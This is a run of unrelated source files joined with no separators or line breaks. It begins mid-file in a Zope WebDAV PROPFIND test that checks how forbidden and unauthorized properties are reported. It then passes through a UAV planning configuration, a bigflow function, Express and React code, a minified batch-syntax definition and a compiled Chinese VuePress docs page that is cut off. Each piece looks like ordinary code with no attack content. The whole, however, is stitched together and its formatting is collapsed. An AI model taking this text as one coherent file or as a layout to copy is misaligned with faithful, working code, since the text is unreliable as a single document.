depth `infinity' sometimes we # run into problems. These can include users been unauthorized to certain # items. This test implements a custom security policy in `SecurityChecker' # to test the use case of finding security problems in rendering these # requests. # This really needs to be a doctest: # - test_handlePropfindResource # - test_handlePropfind_forbiddenResourceProperty # - test_handlePropfind_forbiddenRequestedResourceProperty # - test_handlePropfind_unauthorizedRequestedResourceProperty # - test_handlePropfind_forbiddenCollection_listing # - test_handlePropfind_unauthorizedCollection_listing # - test_handlePropfind_forbiddenRootCollection_listing # - test_handlePropfind_unauthorizedRootCollection_listing # - test_handlePropfindResource_unauthorizedResource def setUp(self): propfindSetUp() # make sure the unauthProperty is restricted has otherwise it will # break all the renderAllProperties methods. unauthProperty.restricted = True component.getGlobalSiteManager().registerAdapter( readDirectoryNoOp, (IReadContainer,), provided = IReadDirectory) self.errUtility = ErrorReportingUtility() component.getGlobalSiteManager().registerUtility(self.errUtility) # Collect all the checkers we define so that we can remove them later. self.undefine_type_checkers = [] self.collection = Collection() self.collection["r1"] = Resource("some text - r1", 2) self.collection["c"] = Collection() self.collection["c"]["r2"] = Resource("some text - r2", 4) def tearDown(self): propfindTearDown() component.getGlobalSiteManager().unregisterAdapter( readDirectoryNoOp, (IReadContainer,), provided = IReadDirectory) component.getGlobalSiteManager().unregisterUtility(self.errUtility) del self.errUtility for type_ in self.undefine_type_checkers: zope.security.checker.undefineChecker(type_) def addChecker(self, obj, checker): self.undefine_type_checkers.append(obj.__class__) zope.security.checker.defineChecker(obj.__class__, checker) return zope.security.checker.ProxyFactory(obj) def test_handlePropfindResource(self): # Just make sure that the custom security checker works by giving # access to all the resources and subcollections. self.addChecker( self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = self.addChecker( self.collection, zope.security.checker.Checker({ "values": zope.security.checker.CheckerPublic})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/r2</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r2</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">4</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">2</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response></D:multistatus> """) self.assertEqual(len(self.errUtility.errors), 0) def test_handlePropfind_forbiddenResourceProperty(self): # Remove access to the `exampleintprop' on the collection['r1'] # resource. Since this not the requested resource we render the # error and include it in the `{DAV:}response' for the corresponding # resource but with no value and a `403' status. self.collection.data["r1"] = zope.security.checker.ProxyFactory( self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic})) self.addChecker( self.collection["c"]["r2"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = self.addChecker( self.collection, zope.security.checker.Checker({ "values": zope.security.checker.CheckerPublic})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/r2</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r2</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">4</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> <D:propstat> <D:prop> <D1:exampleintprop xmlns:D1="DAVtest:" /> </D:prop> <D:status>HTTP/1.1 403 Forbidden</D:status> </D:propstat> </D:response></D:multistatus> """) # Note that the `{DAVtest:}exampleintprop' was not rendered because # we didn't give access to this property is our dummy security proxy. self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Forbidden), "We didn't raise an `Forbidden' error.") def test_handlePropfind_forbiddenRequestedResourceProperty(self): # Remove access to the `exampleintprop' on the collection['r1'] # resource and render this resource as the requested resource. But # since we get a forbidden error we render all the properties but the # `exampleintprop' is still rendered with no value and a `403' status. self.collection.data["r1"] = zope.security.checker.ProxyFactory( self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(self.collection["r1"], request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> <D:propstat> <D:prop> <D1:exampleintprop xmlns:D1="DAVtest:" /> </D:prop> <D:status>HTTP/1.1 403 Forbidden</D:status> </D:propstat> </D:response></D:multistatus> """) # Note that the `{DAVtest:}exampleintprop' was not rendered because # we didn't give access to this property is our dummy security proxy. self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Forbidden), "We didn't raise an `Forbidden' error.") def test_handlePropfind_unauthorizedRequestedResourceProperty(self): # Remove access to the `exampleintprop' on the collection['r1'] # resource and render this resource as the requested resource. Since # we requested to render all properties we silently ignore the # `exampleintprop' property. But we still log this error. self.collection.data["r1"] = zope.security.checker.ProxyFactory( self.collection["r1"], SecurityChecker({ "__name__": zope.security.checker.CheckerPublic, "__parent__": zope.security.checker.CheckerPublic, "text": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(self.collection["r1"], request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response></D:multistatus> """) # Note that the `{DAVtest:}exampleintprop' was not rendered because # we didn't give access to this property is our dummy security proxy. self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Unauthorized), "We didn't raise an `Unauthorized' error.") def test_handlePropfind_forbiddenCollection_listing(self): # Remove permission to the collections `values' method. We get a # `Forbidden' exception in this case. Since this folder isn't the # request resource but a sub-resource of it we ignore the folder # listing on this folder so that users can continue managing the # content the content they do have access to but we still render # the properties of this folder since we do have access to it. self.collection.data["c"] = zope.security.checker.ProxyFactory( self.collection["c"], zope.security.checker.Checker({})) self.addChecker(self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = self.addChecker( self.collection, zope.security.checker.Checker({ "values": zope.security.checker.CheckerPublic})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">2</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response></D:multistatus> """) self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Forbidden), "We didn't raise an `Forbidden' error.") def test_handlePropfind_unauthorizedCollection_listing(self): # Remove permission to the collections `values' method for the `c' # resource. In this case the user isn't presented with a 401 error # but instead we ignore the the listing of this folder and return # the information on the rest of the documents. The reason is that # the user mightnot have access to this folder so we shouldn't # interfere with there access to the folder. This only applies to a # PROPFIND request with depth equal to `0' or `infinity'. self.collection.data["c"] = zope.security.checker.ProxyFactory( self.collection["c"], SecurityChecker({ "__name__": zope.security.checker.CheckerPublic, "__parent__": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) self.addChecker(self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = self.addChecker( self.collection, zope.security.checker.Checker({ "values": zope.security.checker.CheckerPublic})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/c/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response> <D:response> <D:href>/collection/r1</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text - r1</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">2</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response></D:multistatus> """) # Make sure that we handled the excepted failure. self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Unauthorized), "We didn't raise an `Unauthorized' error.") def test_handlePropfind_forbiddenRootCollection_listing(self): # Remove permission to the root collections `values' method. This # raises an Forbidden exception - not sure why not an Unauthorized # exception. In this case we just return the properties of the # resource - since the user can't list the folder and might not have # the permissions to do so. # XXX - this seems correct but ... self.addChecker(self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = self.addChecker( self.collection, zope.security.checker.Checker({})) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) result = propf.PROPFIND() self.assertEqual(request.response.getStatus(), 207) assertXMLEqualIgnoreOrdering(result, """<D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/collection/</D:href> <D:propstat> <D:prop> <D:resourcetype> <D:collection /> </D:resourcetype> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> </D:response></D:multistatus> """) self.assertEqual(len(self.errUtility.errors), 1) self.assert_( isinstance(self.errUtility.errors[0][0][1], zope.security.interfaces.Forbidden), "We didn't raise an `Forbidden' error.") def test_handlePropfind_unauthorizedRootCollection_listing(self): # Remove permission to the root collections `values' method. This # raises an Unauthorized exception. In this case we just return the # properties of the resource - since the user can't list the folder # and might not have the permissions to do so. Even though we could # have just rendered the properties on this folder. self.addChecker(self.collection["r1"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic})) collection = zope.security.checker.ProxyFactory( self.collection, SecurityChecker({ "__name__": zope.security.checker.CheckerPublic, "__parent__": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) self.assertRaises(zope.security.interfaces.Unauthorized, propf.PROPFIND) # Since we raise the `Unauthorized' exception the publisher will # automatically log this exception when we handle the exception. self.assertEqual(len(self.errUtility.errors), 0) def test_handlePropfindResource_unauthorizedResource(self): # This is an edge case. By removing access to the `__name__' and # `__parent__' attributes on the `collection["r1"]' resource we # can no longer generate a URL for this resource and get an # Unauthorized exception. Can't do much about this but it doesn't # really come up. self.collection.data["r1"] = zope.security.checker.ProxyFactory( self.collection["r1"], SecurityChecker({ "__name__": 1, # disable access to the `__name__' attribute "__parent__": 1, "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) self.addChecker( self.collection["c"]["r2"], zope.security.checker.Checker({ "text": zope.security.checker.CheckerPublic, "intprop": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) collection = self.addChecker( self.collection, zope.security.checker.Checker({ "values": zope.security.checker.CheckerPublic, "__providedBy__": zope.security.checker.CheckerPublic, })) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) request.processInputs() propf = PROPFIND(collection, request) self.assertRaises( zope.security.interfaces.Unauthorized, propf.PROPFIND) self.assertEqual(len(self.errUtility.errors), 0) def test_suite(): return unittest.TestSuite(( unittest.makeSuite(PROPFINDBodyTestCase), unittest.makeSuite(PROPFINDTestRender), unittest.makeSuite(PROPFINDSecurityTestCase), ))
__author__ = 'patras' from domain_exploreEnv import * from timer import DURATION from state import state, rv DURATION.TIME = { 'survey': 5, 'monitor': 5, 'screen': 5, 'sample': 5, 'process': 5, 'fly': 3, 'deposit': 1, 'transferData': 1, 'take': 2, 'put': 2, 'move': 10, 'charge': 5, 'negotiate': 5, 'handleAlien': 5, } DURATION.COUNTER = { 'survey': 5, 'monitor': 5, 'screen': 5, 'sample': 5, 'process': 5, 'fly': 3, 'deposit': 1, 'transferData': 1, 'take': 2, 'put': 2, 'move': 10, 'charge': 5, 'negotiate': 5, 'handleAlien': 5, } rv.TYPE = {'e1': 'survey', 'e2': 'monitor', 'e3': 'screen', 'e4': 'sample', 'e5':'process'} rv.EQUIPMENT = {'survey': 'e1', 'monitor': 'e2', 'screen': 'e3', 'sample': 'e4', 'process': 'e5'} rv.EQUIPMENTTYPE = {'e1': 'survey', 'e2': 'monitor', 'e3': 'screen', 'e4': 'sample', 'e5':'process'} rv.LOCATIONS = ['base', 'z1', 'z2', 'z3', 'z4', 'z5', 'z6'] rv.EDGES = {'base': {'z1': 50, 'z3': 50, 'z4': 40, 'z6': 40}, 'z1': {'base': 50, 'z2': 20}, 'z2': {'z1': 20, 'z3': 20}, 'z3': {'z2': 20, 'base': 50}, 'z4': {'z3': 90, 'z5': 35}, 'z5': {'z4': 35, 'z6': 35}, 'z6': {'base': 40, 'z5': 35}} def ResetState(): state.loc = {'r1': 'base', 'r2': 'base', 'UAV': 'base'} state.charge = { 'UAV': 50, 'r1': 80, 'r2': 80} state.data = { 'UAV': 3, 'r1': 3, 'r2': 1} state.pos = {'c1': 'base', 'e1': 'r2', 'e2': 'base', 'e3': 'base', 'e4': 'base', 'e5': 'base', 'o1': 'UAV'} state.load = {'r1': NIL, 'r2': 'e1', 'UAV': 'o1'} state.storm = {'active': True} tasks = { 3: [['doActivities', 'UAV', [['survey', 'z4'], ['survey', 'z5'], ['survey', 'base']]]], 5: [['handleEmergency', 'r2', 'z2']], } eventsEnv = { 5: [alienSpotted, ['z2']] }
# Copyright (c) 2017 Baidu, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -*- coding: utf-8 -*- """ @Author: zhangyuncong @Date: 2016-03-07 19:58:12 @Last Modified by: zhangyuncong @Last Modified time: 2016-03-08 10:33:05 """ from bigflow import pcollection from bigflow import ptable def group_by_every_record(pvalue, **options): """ group by every record """ pipeline = pvalue.pipeline() node = pvalue.node() plan = node.plan() scope = node.scope() shuffle = plan.shuffle(scope, [node]) shuffle_node = shuffle.node(0).distribute_every() from bigflow import serde key_serde = serde.StrSerde() return ptable.PTable(pcollection.PCollection(shuffle_node, pipeline), key_serde=key_serde)
const router = require("express").Router(); const eventRoutes = require("./events"); // Book routes router.use("/events", eventRoutes); module.exports = router;
// THIS FILE IS AUTO GENERATED var GenIcon = require('../lib').GenIcon module.exports.GrLanguage = function GrLanguage (props) { return GenIcon({"tag":"svg","attr":{"viewBox":"0 0 24 24"},"child":[{"tag":"path","attr":{"fill":"none","stroke":"#000","strokeWidth":"2","d":"M12,23 C18.0751322,23 23,18.0751322 23,12 C23,5.92486775 18.0751322,1 12,1 C5.92486775,1 1,5.92486775 1,12 C1,18.0751322 5.92486775,23 12,23 Z M12,23 C15,23 16,18 16,12 C16,6 15,1 12,1 C9,1 8,6 8,12 C8,18 9,23 12,23 Z M2,16 L22,16 M2,8 L22,8"}}]})(props); };
(this.webpackJsonponlinecompiler=this.webpackJsonponlinecompiler||[]).push([[12],{596:function(e,s,o){"use strict";o.r(s),o.d(s,"conf",(function(){return n})),o.d(s,"language",(function(){return t}));var n={comments:{lineComment:"REM"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],folding:{markers:{start:new RegExp("^\\s*(::\\s*|REM\\s+)#region"),end:new RegExp("^\\s*(::\\s*|REM\\s+)#endregion")}}},t={defaultToken:"",ignoreCase:!0,tokenPostfix:".bat",brackets:[{token:"delimiter.bracket",open:"{",close:"}"},{token:"delimiter.parenthesis",open:"(",close:")"},{token:"delimiter.square",open:"[",close:"]"}],keywords:/call|defined|echo|errorlevel|exist|for|goto|if|pause|set|shift|start|title|not|pushd|popd/,symbols:/[=><!~?&|+\-*\/\^;\.,]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/^(\s*)(rem(?:\s.*|))$/,["","comment"]],[/(\@?)(@keywords)(?!\w)/,[{token:"keyword"},{token:"keyword.$2"}]],[/[ \t\r\n]+/,""],[/setlocal(?!\w)/,"keyword.tag-setlocal"],[/endlocal(?!\w)/,"keyword.tag-setlocal"],[/[a-zA-Z_]\w*/,""],[/:\w*/,"metatag"],[/%[^%]+%/,"variable"],[/%%[\w]+(?!\w)/,"variable"],[/[{}()\[\]]/,"@brackets"],[/@symbols/,"delimiter"],[/\d*\.\d+([eE][\-+]?\d+)?/,"number.float"],[/0[xX][0-9a-fA-F_]*[0-9a-fA-F]/,"number.hex"],[/\d+/,"number"],[/[;,.]/,"delimiter"],[/"/,"string",'@string."'],[/'/,"string","@string.'"]],string:[[/[^\\"'%]+/,{cases:{"@eos":{token:"string",next:"@popall"},"@default":"string"}}],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/%[\w ]+%/,"variable"],[/%%[\w]+(?!\w)/,"variable"],[/["']/,{cases:{"$#==$S2":{token:"string",next:"@pop"},"@default":"string"}}],[/$/,"string","@popall"]]}}}}]);
import React, { Component } from 'react'; import { InputGroup, ButtonGroup, OverlayTrigger, Tooltip, Modal, Button, Form } from 'react-bootstrap'; import { connect } from 'react-redux'; import { MIN, MAX, FIXED, CONSTRAINED, FDCL } from '../store/actionTypes'; import { changeSymbolConstraint, setSymbolFlag, resetSymbolFlag } from '../store/actionCreators'; import { logValue } from '../logUsage'; class ConstraintsMaxRowDependentVariable extends Component { constructor(props) { super(props); this.onChangeDependentVariableMaxConstraint = this.onChangeDependentVariableMaxConstraint.bind(this); this.onSetDependentVariableFlagMaxConstrained = this.onSetDependentVariableFlagMaxConstrained.bind(this) this.onResetDependentVariableFlagMaxConstrained = this.onResetDependentVariableFlagMaxConstrained.bind(this) this.onClick = this.onClick.bind(this); this.onChangeValue = this.onChangeValue.bind(this); this.onEnterButton = this.onEnterButton.bind(this); this.onVariableButton = this.onVariableButton.bind(this); this.onCancel = this.onCancel.bind(this); this.state = { modal: false, // Default: do not display }; } onSetDependentVariableFlagMaxConstrained(event) { this.props.setSymbolFlag(this.props.element.name, MAX, CONSTRAINED); logValue(this.props.element.name,'Enabled','MaxConstraintFlag',false); } onResetDependentVariableFlagMaxConstrained(event) { this.props.resetSymbolFlag(this.props.element.name, MAX, CONSTRAINED); logValue(this.props.element.name,'Disabled','MaxConstraintFlag',false); } onChangeDependentVariableMaxConstraint(event) { if (this.props.element.lmax & FIXED) { this.props.changeSymbolConstraint(this.props.element.name, MIN, parseFloat(event.target.value)); logValue(this.props.element.name,event.target.value,'MinConstraint'); } this.props.changeSymbolConstraint(this.props.element.name, MAX, parseFloat(event.target.value)); logValue(this.props.element.name,event.target.value,'MaxConstraint'); } onClick(event) { // console.log("In ConstraintsMaxRowDependentVariable.onClick event=",event); // Show modal only if there are cmaxchoices if (this.props.element.cmaxchoices !== undefined && this.props.element.cmaxchoices.length > 0) { this.setState({ modal: !this.state.modal, value: this.props.element.lmax & CONSTRAINED ? this.props.element.cmax : 0 }); } } onChangeValue(event) { // console.log("In ConstraintsMaxRowDependentVariable.onChangeValue event=",event); this.setState({ value: event.target.value }); } onEnterButton(event) { // console.log("In ConstraintsMaxRowDependentVariable.onEnterButton event=",event); this.setState({ modal: !this.state.modal }); if (this.props.element.lmax & FIXED) { this.props.resetSymbolFlag(this.props.element.name, MIN, FDCL); this.props.changeSymbolConstraint(this.props.element.name, MIN, parseFloat(this.state.value)); } this.props.resetSymbolFlag(this.props.element.name, MAX, FDCL); this.props.changeSymbolConstraint(this.props.element.name, MAX, parseFloat(this.state.value)); } onVariableButton(event, source_name) { // console.log("In ConstraintsMaxRowDependentVariable.onVariableButton event=",event," source_name=",source_name); this.setState({ modal: !this.state.modal }); if (this.props.element.lmax & FIXED) { this.props.setSymbolFlag(this.props.element.name, MIN, FDCL, source_name); } this.props.setSymbolFlag(this.props.element.name, MAX, FDCL, source_name); } onCancel(event) { // console.log("In ConstraintsMaxRowDependentVariable.onCancel event=",event); this.setState({ modal: !this.state.modal }); } render() { // console.log('In ConstraintsMaxRowDependentVariable.render this=',this); // ======================================= // Constraint Maximum Column // ======================================= var value_class = 'text-right '; if (this.props.element.lmax & CONSTRAINED && this.props.element.vmax > 0.0) { if (this.props.objective_value > 4*this.props.system_controls.objmin) { value_class += "text-not-feasible"; } else if (this.props.objective_value > this.props.system_controls.objmin) { value_class += "text-close-to-feasible"; } else if (this.props.objective_value > 0.0) { value_class += "text-feasible"; } else { value_class += "text-strictly-feasible"; } } return ( <tbody> <tr key={this.props.element.name}> <td className="align-middle d-lg-none" id={'dependent_variable_max_constrain_'+this.props.index}> <OverlayTrigger placement="top" overlay={this.props.element.tooltip !== undefined && <Tooltip className="d-lg-none">{this.props.element.tooltip}</Tooltip>}> <span>{this.props.element.name}</span> </OverlayTrigger> </td> <td className="align-middle" colSpan="2"> <InputGroup> <InputGroup.Prepend> <InputGroup.Text> <Form.Check type="checkbox" aria-label="Checkbox for maximum value" checked={this.props.element.lmax & CONSTRAINED} onChange={this.props.element.lmax & CONSTRAINED ? this.onResetDependentVariableFlagMaxConstrained : this.onSetDependentVariableFlagMaxConstrained} disabled={this.props.element.lmax & FIXED ? true : false} /> </InputGroup.Text> </InputGroup.Prepend> {this.props.element.cmaxchoices !== undefined && this.props.element.cmaxchoices.length > 0 ? <OverlayTrigger placement="top" overlay={<Tooltip>{this.props.element.lmax & FDCL ? 'FDCL =' + this.props.element.cmaxchoices[this.props.element.cmaxchoice] : '=' + this.props.element.cmax + ' (non-FDCL)'}</Tooltip>}> <Form.Control type="number" id={this.props.element.name + "_cmax"} className={value_class} value={this.props.element.lmax & CONSTRAINED ? this.props.element.cmax : ''} onChange={this.onChangeDependentVariableMaxConstraint} disabled={this.props.element.lmax & FIXED || this.props.element.lmax & CONSTRAINED ? false : true} onClick={this.onClick} /> </OverlayTrigger> : <Form.Control type="number" id={this.props.element.name + "_cmax"} className={value_class} value={this.props.element.lmax & CONSTRAINED ? this.props.element.cmax : ''} onChange={this.onChangeDependentVariableMaxConstraint} disabled={this.props.element.lmax & FIXED || this.props.element.lmax & CONSTRAINED ? false : true} onClick={this.onClick} /> } </InputGroup> {this.props.element.cmaxchoices !== undefined && this.props.element.cmaxchoices.length > 0 ? <Modal show={this.state.modal} className={this.props.className} size="lg" onHide={this.onCancel}> <Modal.Header> <Modal.Title> Functionally Determined Constraint Level (FDCL) - Set {this.props.element.name} Max Constraint </Modal.Title> </Modal.Header> <Modal.Body> Select constraint variable or enter constraint value. <table> <tbody> <tr> <td>Variable:&nbsp;</td> <td> <InputGroup> <ButtonGroup> {this.props.element.cmaxchoices.map((e) => {return ( <Button key={e} variant="primary" onClick={(event) => {this.onVariableButton(event,e)}} style={{marginBotton: '5px'}} active={this.props.element.cmaxchoices[this.props.element.cmaxchoice] === e}>{e}</Button> );})} </ButtonGroup> </InputGroup> </td> </tr> <tr> <td>Value:&nbsp;</td> <td> <InputGroup> <Form.Control type="number" id={this.props.element.name + "_cmax"} className="text-right" value={this.state.value} onChange={this.onChangeValue} /> <Button variant="primary" onClick={this.onEnterButton}>Enter</Button> </InputGroup> </td> </tr> </tbody> </table> </Modal.Body> <Modal.Footer> <Button variant="secondary" onClick={this.onCancel}>Cancel</Button> </Modal.Footer> </Modal> : ''} </td> <td className={"text-right align-middle small " + (this.props.system_controls.show_violations ? "" : "d-none")} colSpan="1"> {this.props.element.lmax & FIXED ? (this.props.element.vmax*100.0).toFixed(1) : (this.props.element.lmax & CONSTRAINED ? (this.props.element.vmax*100.0).toFixed(1) + '%' : '')} </td> </tr> </tbody> ); } } const mapStateToProps = state => ({ system_controls: state.model.system_controls, objective_value: state.model.result.objective_value }); const mapDispatchToProps = { changeSymbolConstraint: changeSymbolConstraint, setSymbolFlag: setSymbolFlag, resetSymbolFlag: resetSymbolFlag }; export default connect(mapStateToProps, mapDispatchToProps)(ConstraintsMaxRowDependentVariable);
(window.webpackJsonp=window.webpackJsonp||[]).push([[164],{616:function(t,a,e){"use strict";e.r(a);var s=e(25),v=Object(s.a)({},(function(){var t=this,a=t.$createElement,e=t._self._c||a;return e("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[e("h1",{attrs:{id:"string-字符"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#string-字符"}},[t._v("#")]),t._v(" "),e("H2Icon"),t._v(" String 字符")],1),t._v(" "),e("h2",{attrs:{id:"tostring"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#tostring"}},[t._v("#")]),t._v(" toString")]),t._v(" "),e("p",[e("code",[t._v("toString()")]),t._v(" 同 "),e("code",[t._v("String")]),t._v(" 对象中 "),e("code",[t._v("toString")]),t._v(" 方法。")]),t._v(" "),e("h3",{attrs:{id:"语法"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.toString(targetString)\n")])])]),e("h4",{attrs:{id:"参数"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 转换的字符串;")])]),t._v(" "),e("h2",{attrs:{id:"valueof"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#valueof"}},[t._v("#")]),t._v(" valueOf")]),t._v(" "),e("p",[e("code",[t._v("valueOf()")]),t._v(" 同 "),e("code",[t._v("String")]),t._v(" 对象中 "),e("code",[t._v("valueOf")]),t._v(" 方法。")]),t._v(" 